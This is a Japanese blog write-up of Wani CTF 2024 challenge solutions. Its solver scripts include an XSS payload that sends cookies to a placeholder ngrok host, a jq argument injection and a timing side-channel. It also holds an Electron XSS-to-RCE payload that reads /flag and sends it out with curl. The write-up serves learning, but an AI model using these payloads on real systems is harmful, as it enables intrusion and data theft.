🐊

Wani CTF 2024 writeup

2024/06/24に公開

先週のSeccon Beginner 2024に引き続き、Google CTFに参加しようとしたら、目の前にでっっっっかい壁が立ちはだかったので、しょうがないからもっと簡単なやつやろうとしたところ、いいタイミングで開催してました。サンキューWani CTF

解いた順で記載してます。

Web/Bad_Worker (120 pt)

chromeアプリから、利用しているファイルを取り出す問題。
仕様とか全くわかんないので、とりあえずインスペクター開いたらこんなコードが書いてあった。

async function onFetch(event) {
  ...
  if (request.url.toString().includes("FLAG.txt")) {
        request = "DUMMY.txt";
  }
  ...
}

とりあえずコレが実行されないようにすれば良さそう。インスペクタ上で削除→service-worker.jsを右クリック→コンテンツをオーバーライドして、「Fetch FLAG.txt」を押すとフラグ入手。

ちなみに、

curl https://web-bad-worker-lz56g6.wanictf.org/FLAG.txt

でも解けたらしい

Web/Noscript (202 pt)

XSSの問題。ユーザー名とプロファイルを投稿し表示する機能(/user/:id)と、サイト内のURLを与えるとやってくるクローラーがある。プロファイルの方はインジェクションが可能だが、CSPがdefault-src: self, script-src: noneとなっているので、直接スクリプトを埋め込むことはできない。

ソースコードを読んでみると、/username/:idという使われていないページを発見。試しにユーザー名にスクリプトを埋め込んでみると、こちらはXSS可能。ただし、クローラーは/user/:idしか見に行かないので、一度リダイレクトさせる。

したがって、

  1. usernameによるXSSでcookieを送るuser1を作成
  2. profileで/username/user1にリダイレクトさせるuser2作成
  3. user2にクローラーを呼ぶ
    これをコードに書き起こすと
solver.py
import requests

URL = "https://web-noscript-lz56g6.wanictf.org/"
RECEIVER = "https://xxx.ngrok.pizza"

res = requests.post(URL + "signin")
id1 = res.url.split("/")[-1]
res = requests.post(URL + "user/" + id1 , data={
  "username": f'''<script>new Image().src = ("{RECEIVER}/?flag=" + document.cookie)</script>''',
  "profile": "test"
})

res = requests.post(URL + "signin")
id2 = res.url.split("/")[-1]
print(f'''<meta http-equiv="refresh" content="0;{URL + "username/" + id1}">''')
res = requests.post(URL + "user/" + id2 , data={
  "username": '''test''',
  "profile": f'''<meta http-equiv="refresh" content="0;{"http://app:8080/username/" + id1}">'''
})
print(id1)
print(id2)
res = requests.post(URL + "report/", data={ "url": "/user/" + id2})

DockerFileを見ると、crawler→appはhttp:/app:8080でアクセスしていることに注意する。
RECEIVERにpythonのHTTPServerでもたてて(Access-Control-Allow-Origin: *のヘッダーを付加することに注意)コードを実行すると、フラグが返ってくる

Pwnable/nc (116 pt)

linuxコマンドで、nc chal-lz56g6.wanictf.org 9003を実行してフラグ

Web/One Day One Letter (190 pt)

1日に1文字ずつフラグの中身がわかるWebページ。
ソースを見てみると、次のように日付が偽装できないようにしている。

  1. time-serverにリクエストを送り、タイムスタンプと、タイムスタンプを秘密鍵で暗号化したsignatureが返ってくる。
  2. content-serverにタイムスタンプと、signature、タイムスタンプを作成したサーバーのアドレスを送る。
  3. content-serverはタイムスタンプを作成したサーバーから公開鍵を取ってきて、そのタイムスタンプがそのサーバーで作成されたことを確認する。
  4. 確認できた場合、そのタイムスタンプに応じた結果を返す

注目は、content-serverが利用したtime-serverを指定できる点。時間のズレたtime-serverを自作することによって、content-severに日付の異なる結果を出力させることができる。

幸いにも、ソースコードは配布されているので、少し変更して、リクエストのたびに1日時間がずれるようにした

timeserver/server.py
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')

icount = 0
class HTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        global icount
        if self.path == '/pubkey':
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = pubkey
            self.wfile.write(res_body.encode('utf-8'))
            self.requestline
        else:
            timestamp = str(int(time.time()) - (60*60*24) * icount).encode('utf-8')
            h = SHA256.new(timestamp)
            signer = DSS.new(key, 'fips-186-3')
            signature = signer.sign(h)
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/json; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()})
            self.wfile.write(res_body.encode('utf-8'))
            icount += 1

handler = HTTPRequestHandler
httpd = HTTPServer(('', 5001), handler)
httpd.serve_forever()

このサーバーを使って12回りクエストを送ればクリア

solver.py
import requests

contentserver = "web-one-day-one-letter-content-lz56g6.wanictf.org"
timeserver = "xxx.ngrok.pizza"

for i in range(12):
  res = requests.get(f"https://{timeserver}")
  json = res.json()

  res = requests.post(f"https://{contentserver}/", json={"timestamp": json["timestamp"],"signature": json["signature"], "timeserver": timeserver})
  print(res.content)

Forensics/tiny_usb (116 pt)

ダウンロードしたisoファイルを開いたら、フラグの描いた画像が出力された。
画像から文字抽出するツールでも使うべきなんだろうが、なかったので地道に入力した。いいツールあったら教えて

Web/pow (143 pt)

SHA256を10回適用したときの値がx & 0xFFFFFF00 === 0を満たすような入力を探し、それを1000000個送るとフラグがもらえる。

もちろん、正攻法は無理。1000000個ではなく1000000個目を送ればいいかと思ったがだめ、session管理で進捗を管理されるのでそれを偽装しようとしてもだめ。しかし、いろいろリクエストを送ってみると次のことがわかった。

  • 同じ入力を複数回送ってもよい。
  • 入力を同時に複数個送ってもよい。

それを利用して次のソルバーでフラグゲット

solver.py
import requests
import time


URL = "https://web-pow-lz56g6.wanictf.org/"

session = requests.session()

for _ in range(20):
  res = session.post(URL + "api/pow", json=["29671041"]*50000)
  print(res.content)
  time.sleep(1)

misc/JQ Playground (199 pt)

JSONプロセッサーツール JQのPlayground、と見せかけて8文字しか入力できない。ソースコードを見てみると、jq '{}' test.json に埋め込んで実行しているので、インジェクションして'/flag'を取得する。

試してみたところ、 .' ' は実行可能、ファイルを読み込むように' /*'としたところ

Input error: Is a directory
Input error: Is a directory
Input error: Is a directory
Input error: Is a directory
Input error: Is a directory
parse error: Invalid numeric literal at line 1, column 5

最初のエラーは、/下にあるディレクトリを読み込んだエラーだろうが、どうやらファイルは読み込めているものの、JSON形式ではないためエラーになっているようだ。あと3文字なので、なにかいいオプションがないかなと、(入力オプション)[https://www.tohoho-web.com/ex/jq.html#options-input] を上から順に試してみたら

`' -R /*'`

でヒットした。

Reversing/lambda (128 pt)

なんで解けたかよくわかんない...ReversingのReversing誰かして...

solver.py
import sys

sys.setrecursionlimit(10000000)

xx = None
yy = None
def proxy(x):
  def proxy2(y):
    global yy, xx
    print(["{:03}".format(ord(c)) for c in x])
    print(["{:03}".format(ord(c)) for c in y])
    xx = x
    yy = y
    return x == y
  return proxy2

x = "FLAG{foobartesttS}"

def cal(p):
  (lambda _4: _4(p))(lambda _5: (lambda _6: _6(''.join))(lambda _7: (lambda _8: _8(lambda _9: _7((chr(ord(c) + 12) for c in _9))))(lambda _10: (lambda _11: _11(''.join))(lambda _12: (lambda _13: _13((chr(ord(c) - 3) for c in _10(_5))))(lambda _14: (lambda _15: _15(_12(_14)))(lambda _16: (lambda _17: _17(''.join))(lambda _18: (lambda _19: _19(lambda _20: _18((chr(123 ^ ord(c)) for c in _20))))(lambda _21: (lambda _22: _22(''.join))(lambda _23: (lambda _24: _24((_21(c) for c in _16)))(lambda _25: (lambda _26: _26(_23(_25)))(lambda _27: (lambda _28: _28('16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r'))(lambda _29: (lambda _30: _30(''.join))(lambda _31: (lambda _32: _32((chr(int(c,36) + 10) for c in _29.split('_'))))(lambda _33: (lambda _34: _34(_31(_33)))(lambda _35: (lambda _36: _36(proxy))(lambda _39: (lambda _40: _40(print))(lambda _41: (lambda _42: _42(_39))(lambda _43: (lambda _44: _44(_27))(lambda _45: (lambda _46: _46(_43(_45)))(lambda _47: (lambda _48: _48(_35))(lambda _49: (lambda _50: _50(_47(_49)))(lambda _51: (lambda _52: _52('Correct FLAG!'))(lambda _53: (lambda _54: _54('Incorrect'))(lambda _55: (lambda _56: _56(_41(_53 if _51 else _55)))(lambda _57: lambda _58: _58)))))))))))))))))))))))))

cal(x)

for i in range(5, len(x)-1):
  for c in range(48,122):
    x = "".join([d if i != j else chr(c) for (j, d) in enumerate(x)])
    cal(x)
    if xx[i] == yy[i]:
      print(x)
      break

Misc/Cheat Code (264 pt)

10桁の数字を100回のチャレンジで求めるという問題。ただし、チートコードを入力できれば、クリアできるらしい。

もちろん、チートコードを求めることはできないのだが、ソースコードをみると:

server.py
    for i in range(10):
        digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code))

check_chat_codeは実行時間がかかる関数だったので、given_secret_code[i] == secret_code[i]が真で実行されない時のみ、実行時間が少し短くなる。これを利用して:

solver
import subprocess
import socket
import time


host = "chal-lz56g6.wanictf.org"
port = 5000

current = "0000000000"

def set_chr(current, i, c):
  return "".join([current[j] if i != j else c for j in range(len(current))])

def send(stri, s):
  s.send(bytes(stri + "\n", encoding="ascii"));  

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
result = s.recv(1024).strip()
s.send(bytes("0000000000" + "\n", encoding="ascii"));  
result = s.recv(1024).strip()
for j in range(10):
  times = []
  for i in range(10):
    start = time.time()
    current = set_chr(current, j, str(i))
    send(current, s)
    result = s.recv(1024).strip()
    end = time.time()
    times += [end - start]
    print(current + " " + str(end - start))
    print(str(result))
    if str(result, encoding="ascii")[:6] != "Wrong!":
      result = s.recv(1024).strip()
      print(result)

    index_min = min(range(len(times)), key=times.__getitem__)
    current = set_chr(current, j, str(index_min))

一回だとうまくいかなかったけれど、3度目くらいにうまくいきました。

Web/elec (393 pt)

6番目のクリア者となりました。Web OTPの道としては一つのマイルストーンになったと思います。

XSSの問題。特徴としては、puppeteerによるクローラーが多い中、electronを使ったクローラーが動くことで、問題的にもelectronの脆弱性を利用するものなのだろうと思った。特に、electronは本来実行ファイルとして利用するものなので、LFIやRCEが可能。

まず、XSSは、

  <script type="module">
    import sanitizeHtml from 'https://esm.sh/sanitize-html@2.11.0'
    document.getElementById("content").innerHTML = sanitizeHtml({{ .Content }}, {allowedTags: ["p", "br", "hr", "a", "img", "blockquote", "ul", "ol", "li"],allowedAttributes: {'*':['*']}})
  </script>

sanitizeHTMLによって、利用できるタグが限られているが、imgタグはsrcやonerrorのアトリビュートでコードが実行可能なので、問題なくjsが動く。

最初はLFIでファイルを取得してjs内でファイルを送信しようとしたが、CSPが

func CspMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
	return func(c echo.Context) error {
		c.Response().Header().Set("Content-Security-Policy", "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://esm.sh 'unsafe-inline'; style-src 'self' https://cdn.jsdelivr.net; object-src 'none'; base-uri 'none'; frame-ancestors 'none'")
		return next(c)
	}
}

によってdefault-src selfとなっているため難しい(これに気づくまでに結構時間がかかってしまった)。したがって、RCEが正攻法になりそうです。

気になったのが、この部分

const createWindow = () => {
     ...
		webPreferences: {
			preload: path.join(__dirname, "preload.js"),
			contextIsolation: false,
			sandbox: false,
		},
	});
   ...
};

contextIsolationsandboxといった、セキュリティに関係してそうなところが意図的に緩められている。公式ドキュメントによると、これをfalseにすると、preload.jsで参照されるグローバルオブジェクトと、ページ内で参照されるグローバルオブジェクトが共有されるみたい。

したがって、preload.jsのコードから、nodeのオブジェクトにどうにかアクセスできないか見てみたところ、

window.addEventListener("load", async () => {
    ...
    const cp = spawn("uname", ["-a"]);
	console.log(cp);
    ...
});

このcpChildProcessのインスタンスであり、javascriptはcp.constuctorのようにすれば生成したクラスそのものにアクセスできる。前述の通り、ここのconsole.logとページ内のconsole.logは同じ関数を指すので、イベントが発火する前にconsole.logそのものを書き換えて、cpを利用できるようにする。

あとは、const cp = new ChildProcess()からcp.spawn(...)として、RCEすればよい。ChildProcessのstdinやstdoutの仕様がちょっとわからないというか謎の挙動をしていたのでそこは試行錯誤したが、結果以下を投稿すればフラグを入手できた。(そもそも、nodeでは直接ChildProcessを直接利用するのではなく、spawnexecといった関数を利用することが多いため、未定義の挙動をしていた可能性あり)

  <img src="X" onerror="
  const oldlog = console.log;
  console.log = ((v) => {
    if(v && v.stdin) {
      window.ChildProcess = v.constructor;
    }
    oldlog(v)
  });
  setTimeout(async () => {
    const loadStream = (s) =>
      new Promise((resolve, reject) => {
        const chunks = [];
        s.on('data', (chunk) =>{ chunks.push(chunk) });
        s.on('error', (chunk) => {chunks.push(chunk)});
        s.on('end', () => { resolve(chunks.join(',')) });
      });

      const cp = new ChildProcess();
      cp.spawn({file: 'cat', args: ['', '/flag']})
      const res = await loadStream(cp.stdout);

      const cp2 = new ChildProcess();
      cp2.spawn({file: 'curl', args: ['','', encodeURI('http://xxx.ngrok.pizza/?d=' + res)]})
      await loadStream(cp2.stdout);

      
  }, 100)
">

感想

Web以外も解けたのは良かったけど、RevとPwnがボロボロだったので、いい新メンバー探しています(他人任せ)

Discussion